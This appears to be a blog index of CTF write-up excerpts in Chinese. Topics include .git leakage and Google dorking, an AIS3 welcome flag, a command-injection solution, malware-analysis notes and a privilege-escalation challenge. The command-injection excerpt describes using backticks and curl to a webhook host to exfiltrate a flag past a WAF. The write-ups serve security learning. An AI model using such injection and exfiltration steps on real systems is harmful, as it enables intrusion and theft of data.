webInformation Leak.git / .svn / .bzr版本控制系統
.git洩漏可用scrabble將整個.git資料夾下載下來並用git 還原
./scrabble http://www.example.com/
Google Hackingsite:www.example.com
intext:"管理介面"
filetype:sql
GHDB
robots.txt
.DS_Store
.index.php.sw
...
2024.04.30
MiscWelcomeAre you not a robot ?
FLAG Format: ^AIS3{[A-Z0-9+-*/!?-]+}$
Author: nella17
點開pdf，flag直接寫在上面了，一開始以為-是_結果浪費一堆時間
AIS3{WELC0ME-T0-2023-PRE-EXAM-&-MY-FIRST-CTF}
RobotAre you a robot?
Note: This is NOT a reversing o
...
2024.02.07
webnslookup final有command injection，用``把指令包起來，但是會有一個問題就是他不會回傳結果，
curl webhook.trianglesnake.com/?text=123
呼叫聊天機器人webhook試試看，有收到訊息，所以直接把flag偷出來
因為有WAF限制flag、*，但我知道flag的prefix了，所以直接遍歷根目錄檔案找出flag
`curl -G https://eec1-182-234-154-17.n
...
2024.02.06
惡意軟體分析
[name=trianglesnake]flag:||10.15.1.69:3128||難度:中
打開ida pro
查看import table
查看是否有網路連線相關api
查看 WinHttpOpen functoin的Reference
在edi中找到中繼伺服器ip和port
惡意軟體分析2
[name=trianglesnake]flag:||flag{5.39.218.152}||
加密系統
[name=tria
...
2023.12.20
Binary ExploitationhijackingAUTHOR: THEONESTE BYAGUTANGAZA
Description
Getting root access can allow you to read the flag. Luckily there is a
python file that you might like to play with.
Through Social engineering, we've got the cred
...
2023.05.29